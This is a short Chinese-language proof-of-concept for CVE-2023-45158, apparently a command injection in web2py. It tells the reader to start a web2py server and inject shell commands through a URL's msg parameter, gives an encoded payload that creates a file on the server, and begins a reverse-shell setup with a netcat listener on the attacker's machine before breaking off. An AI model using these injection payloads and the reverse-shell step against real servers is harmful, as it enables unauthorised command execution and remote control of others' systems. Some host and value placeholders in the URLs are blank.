CVE-2023-45158

CVE-2023-45158 步骤 1. 运行 Web 服务器 cd web2py python3 web2py.py 2. 使用以下 URL 注入你的命令 http://:8000/hack?msg=%27%3B%3B%27。将 和 替换为你的值。 示例 1. 在服务器上创建一个文件 http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. 反弹 shell 在攻击者的机器上，运行 nc -l 127.0.0.1 8080 访问 URL...